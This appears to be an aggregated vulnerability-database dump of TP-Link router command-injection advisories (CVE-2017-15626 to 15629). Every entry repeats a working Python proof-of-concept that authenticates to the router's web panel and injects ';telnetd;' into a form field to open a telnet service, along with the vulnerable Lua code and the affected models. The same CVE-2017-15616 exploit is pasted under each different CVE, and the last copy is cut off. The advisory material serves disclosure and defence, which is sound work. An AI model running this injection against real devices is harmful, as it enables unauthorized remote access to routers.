import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0551 | CVE-2017-15626 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-bindif variable in the pptp_server.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0552 | CVE-2017-15627 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-pns variable in the pptp_client.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0553 | CVE-2017-15628 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the lcpechointerval variable in the pptp_server.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
vul_data = {"method":"add","params":{"index":0,"old":"add","new":{"interface":"WAN1%s" % (payload),"name":"test1","passwd":"test","enable":"on"},"key":"add"}}
vul_data = {'data': json.dumps(vul_data)}
print '[+] sending payload'
res = s.post(tmp_vul, data=vul_data)
print '[*] response is: %s' % (res.text)
***********************************
Reference:
================
https://github.com/chunibalon/Vulnerability/blob/master/CVE-2017-15613_to_CVE-2017-15637.txt
| VAR-201801-0554 | CVE-2017-15629 | plural TP-Link Command injection vulnerability in devices |
CVSS V2: 9.0 CVSS V3: 7.2 Severity: HIGH |
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-tunnelname variable in the pptp_client.lua file. TP-Link WVR , WAR ,and ER The device contains a command injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices.
These vulnerabilities can be triggered in LAN and WAN(if the "remote management" function is enabled).
Vulnerability Type:
================
Command Injection (Authenticated)
Product:
================
We has tested these vulnerabilities on TL-WVR450L(the latest version is TL-WVR450L V1.0161125) and TL-WVR900G(TL-WVR900G V3.0_170306).
And the following model should also be affected and the vendor has confirmed:
TP-Link ER5110G,
TP-Link ER5120G,
TP-Link ER5510G,
TP-Link ER5520G,
TP-Link R4149G,
TP-Link R4239G,
TP-Link R4299G,
TP-Link R473GP-AC,
TP-Link R473G,
TP-Link R473P-AC,
TP-Link R473,
TP-Link R478G+,
TP-Link R478,
TP-Link R478+,
TP-Link R483G,
TP-Link R483,
TP-Link R488,
TP-Link WAR1300L,
TP-Link WAR1750L,
TP-Link WAR2600L,
TP-Link WAR302,
TP-Link WAR450L,
TP-Link WAR450,
TP-Link WAR458L,
TP-Link WAR458,
TP-Link WAR900L,
TP-Link WVR1300G,
TP-Link WVR1300L,
TP-Link WVR1750L,
TP-Link WVR2600L,
TP-Link WVR300,
TP-Link WVR302,
TP-Link WVR4300L,
TP-Link WVR450L,
TP-Link WVR450,
TP-Link WVR458L,
TP-Link WVR900G,
TP-Link WVR900L
CVE details:
================
The detail of each vulnerability are as follows:
CVE-2017-15613: new-interface variable in the cmxddns.lua file
CVE-2017-15614: new-outif variable in the pptp_client.lua file
CVE-2017-15615: lcpechointerval variable in the pptp_client.lua file
CVE-2017-15616: new-interface variable in the phddns.lua file
CVE-2017-15617: iface variable in the interface_wan.lua file
CVE-2017-15618: new-enable variable in the pptp_client.lua file
CVE-2017-15619: pptphellointerval variable in the pptp_client.lua file
CVE-2017-15620: new-zone variable in the ipmac_import.lua file
CVE-2017-15621: olmode variable in the interface_wan.lua file
CVE-2017-15622: new-mppeencryption variable in the pptp_client.lua file
CVE-2017-15623: new-enable variable in the pptp_server.lua file
CVE-2017-15624: new-authtype variable in the pptp_server.lua file
CVE-2017-15625: new-olmode variable in the pptp_client.lua file
CVE-2017-15626: new-bindif variable in the pptp_server.lua file
CVE-2017-15627: new-pns variable in the pptp_client.lua file
CVE-2017-15628: lcpechointerval variable in the pptp_server.lua file
CVE-2017-15629: new-tunnelname variable in the pptp_client.lua file
CVE-2017-15630: new-remotesubnet variable in the pptp_client.lua file
CVE-2017-15631: new-workmode variable in the pptp_client.lua file
CVE-2017-15632: new-mppeencryption variable in the pptp_server.lua file
CVE-2017-15633: new-ipgroup variable in the session_limits.lua file
CVE-2017-15634: name variable in the wportal.lua file
CVE-2017-15635: max_conn variable in the session_limits.lua file
CVE-2017-15636: new-time variable in the webfilter.lua file
CVE-2017-15637: pptphellointerval variable in the pptp_server.lua file
Credits:
================
chunibalon, puzzor @VARAS of IIE
Timeline:
================
2017.08 to 2017.09: Issues found.
2017.09.26: Vendor contacted.
2017.10.13: Vendor confirmed.
2017.10.14: CVE id requested.
2017.10.19: CVE id assigned.
2018.1: Vendor confirmed that all effected products have been fixed.
Vulnerability detail:
================
These vulnerability are caused by the similar reason, so here is an explanation of CVE-2017-15616.
Other vulnerabilities can be reproduced with the detail descriptions of the variable and lua file.
In /usr/lib/lua/luci/controller/admin/phddns.lua file, line 113:
***********************************
function add_phddns(http_form)
local form_data = json.decode(http_form.data)
local jdata = form_data.params.new
ret = form:insert(CONFIG_NAME, "phddns", jdata, RULE_KEYS, nil)
if not ret then
return false, err.ERR_COM_TABLE_ITEM_UCI_ADD
end
if not uci_r:commit(CONFIG_NAME) then
return false, err.ERR_COM_UCI_COMMIT
end
-- add the ref of interface
ifs.update_if_reference(jdata.interface, 1)
sys.fork_exec('/etc/init.d/phddns restart')
userconfig.cfg_modify()
return jdata
end
***********************************
This file will process a POST request from the web management panel with url "ip/cgi-bin/luci/;stok=xxx/admin/phddns?form=phddns".
The interface argument passed by the POST request can be set with the malformed command payload and the lua file didn't check the argument sufficiently.
Then the malformed value of "interface" argument causes the command injection vulnerability.
PoC file:
================
***********************************
import requests
import urllib
import json
# This is the PoC code of authenticated command injection of TP-Link WVR900G router with the CVE-2017-15616.
# To reproduce the PoC, the ip of the router should be 192.168.123.1 and the password of web management panel should be 'adminadmin'
PASSWORD = 'c6564879eda92681404fb4ce64343788e47d266c490bb9d574f4467644a2f96b73ec157bbffabb50752c46f55d026ec7ef34661d7dcb030b0b1fa527173093ae4358f4740e539322f58c441ea0003978475346fb66320f749cc138f867bc0d8d9501f1613524fbba565979d95df6ef412837dee15a6dd8867d00b91c6f4a3406'
BASEURL = 'http://192.168.123.1'
LOGINURL = BASEURL + '/cgi-bin/luci/;stok=/login?form=login'
MARK = '###'
VULURL = BASEURL + '/cgi-bin/luci/;stok=%s/admin/phddns?form=phddns' % (MARK)
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Host": BASEURL[7:],
"Origin": BASEURL,
"Referer": "%s/webpages/login.html" % (BASEURL),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"X-Requested-With": "XMLHttpRequest"
}
login_data_value = {'method': 'login','params': {'password': PASSWORD,'username': 'admin'}}
login_data = {'data':json.dumps(login_data_value)}
s = requests.Session()
s.headers.update(headers)
print (LOGINURL)
print (login_data)
res = s.post(LOGINURL, data=login_data)
stok = eval(res.text)['result']['stok']
print '[*] stok is %s' % (stok)
tmp_vul = VULURL.replace(MARK, stok)
print '[*] vul_url is %s ' % (tmp_vul)
delete_data = {"method":"delete","params":{"key":"key-0","index":"0"}}
delete_data = {'data': json.dumps(delete_data)}
print '[+] delete existed rule'
res = s.post(tmp_vul, data=delete_data)
print '[*] response is: %s' % (res.text)
# after executing this payload, the router will open its telnetd service.
payload = ''';telnetd;'''
